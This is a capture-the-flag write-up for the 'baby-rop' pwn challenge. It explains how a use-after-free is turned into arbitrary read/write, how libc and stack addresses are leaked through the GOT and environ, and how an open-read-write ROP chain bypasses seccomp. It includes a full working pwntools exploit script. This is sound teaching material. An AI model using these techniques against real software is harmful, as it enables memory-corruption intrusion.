Tags: environ_ptr rop
Rating:
### pwn/baby-rop
The challenge is a simple use-after-free, but with a few mitigations to make exploitation harder.
Because the challenge uses a struct with a `char *`, players can easily turn the use-after-free into an arbitrary read and write without specialized heap voodoo. PIE is disabled because I'm nice.
The challenge has several mitigations.
1) the glibc version is 2.34 (as printed out 3 different times when you connect to the server), which removed the `__free_hook` and `__malloc_hook` flags
2) full RELRO is used, which removes another collection of function pointers to overwrite
3) the binary uses seccomp to ban the `execve` syscall. So both calling a one-gadget and calling `system("/bin/sh")` are off the table.
4) ASLR (but not PIE) is enabled, so the location of the stack is randomized.
As the challenge name indicates, you are supposed to ROP your way to the flag, using an open-read-write ROP chain. So now the question is -- how can you turn your arbitrary read/write into a ROP chain? First, you'll need to leak a stack address.
A nice description of how to leverage arbitrary reads in the binary/libc/heap/stack to determine the location of everything else [can be found in this blog post](https://nickgregory.me/security/2019/04/06/pivoting-around-memory/). Note: these techniques were also heavily featured in the `breach` and `containment` challenges!
The crucial section is that `libc` contains an `environ` pointer which points to a location on the stack.
The sequence is:
1) read GOT to leak a libc address
2) read libc->environ to leak a stack address
3) compute the offset to the saved return addresses
4) ROP your way to the flag!
Some teams had solutions which worked locally but not on remote. Some common fixed to these problems were:
1) use a write syscall instead of `puts()` to print the flag
2) double-check that the offset between `*environ` and the saved return address is correct on remote (should be `-0x140`). This has some slight variation depending on your configuration, but it's not hard to brute-force and check whether you're correct
3) using `.bss` as temporary storage instead of the heap. For whatever reason, exploits which tried to read the contents of `flag.txt` onto the heap were unreliable
4) open `flag.txt` in read-only mode. The redpwn jail we were using didn't support writing to disk
5) end your rop chain with an `exit(0)` syscall, which has the side-effect of flushing stdout
My exploit is the following
```python
from pwn import *
def split_before(s, t):
i = s.index(t)
return s[:i]
def split_after(s, t):
i = s.index(t)
return s[len(t) + i:]
#################################################
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.binary = "./run"
host = args.HOST or 'localhost'
port = args.PORT or 31245
if args.LOCAL:
r = process("./run", env = {'LD_PRELOAD' : './libc.so.6'})
else:
r = remote(host, port)
binary = ELF("./run")
libc = ELF("./libc.so.6")
malloc_libc_OFFSET = libc.symbols["malloc"]
free_libc_OFFSET = libc.symbols["free"]
#################################################
def xfree(idx):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"F")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
def xread(idx):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"R")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
def xwrite(idx, value=b""):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"W")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
print(r.recvuntil(b"enter your string: ").decode())
r.sendline(value)
def xcreate(idx, length, value=b""):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"C")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
print(r.recvuntil(b"How long is your safe_string: ").decode())
r.sendline("{}".format(length).encode())
print(r.recvuntil(b"enter your string: ").decode())
r.sendline(value)
#################################################
xcreate(0, 128)
xcreate(1, 128)
xfree(0)
xfree(1)
got_free_addr = binary.symbols['got.free']
payload = p64(8) + p64(got_free_addr)
xcreate(2, 16, payload)
xread(0)
print(r.recvuntil(b"hex-encoded bytes\n").decode())
s = r.readline()
s = s.decode()
s = s.replace(" ", "")
s = bytes.fromhex(s)
free_addr = u64(s)
libc_base_addr = free_addr - free_libc_OFFSET
# -------------------------------------------------
got_malloc_addr = binary.symbols['got.malloc']
payload = p64(8) + p64(got_malloc_addr)
xwrite(2, payload)
xread(0)
print(r.recvuntil(b"hex-encoded bytes\n").decode())
s = r.readline()
s = s.decode()
s = s.replace(" ", "")
s = bytes.fromhex(s)
malloc_addr = u64(s)
assert malloc_libc_OFFSET - free_libc_OFFSET == malloc_addr - free_addr
# -------------------------------------------------
libc_environ_addr = libc_base_addr + libc.symbols["environ"]
payload = p64(8) + p64(libc_environ_addr)
xwrite(2, payload)
xread(0)
print(r.recvuntil(b"hex-encoded bytes\n").decode())
s = r.readline()
s = s.decode()
s = s.replace(" ", "")
s = bytes.fromhex(s)
environ_addr = u64(s)
print(hex(libc_environ_addr))
print(hex(environ_addr))
# -------------------------------------------------
libc.address = libc_base_addr
rop = ROP(libc)
# find offset with gdb, might need some brute-force for remote
rip_addr = environ_addr - 0x140
# new file descriptor, totally brute-forcible
fd = 3
# pointer to filename = "flag.txt"
dst_filename = binary.bss(400)
mov_rcx_rdx_addr = libc_base_addr + 0x0016c020 # 2.34
mov_rcx_rdx = p64(mov_rcx_rdx_addr)
print(disasm(libc.read(mov_rcx_rdx_addr, 4)))
rop(rcx=dst_filename, rdx=u64(b"flag.txt"))
rop.raw(mov_rcx_rdx)
rop(rcx=dst_filename + 8, rdx=0)
rop.raw(mov_rcx_rdx)
# sanity checks
rop.puts(dst_filename)
rop.write(1, dst_filename, 16, 1)
rop.open(dst_filename, 0)
rop.read(fd, dst_filename, 128)
rop.write(1, dst_filename, 128)
rop.exit(0)
# -------------------------------------------------
real_payload = rop.chain()
payload = p64(len(real_payload)) + p64(rip_addr)
xwrite(2, payload)
xwrite(0, real_payload)
# gdb.attach(r)
r.sendline(b"E0")
sleep(0.1)
print(r.recv())
```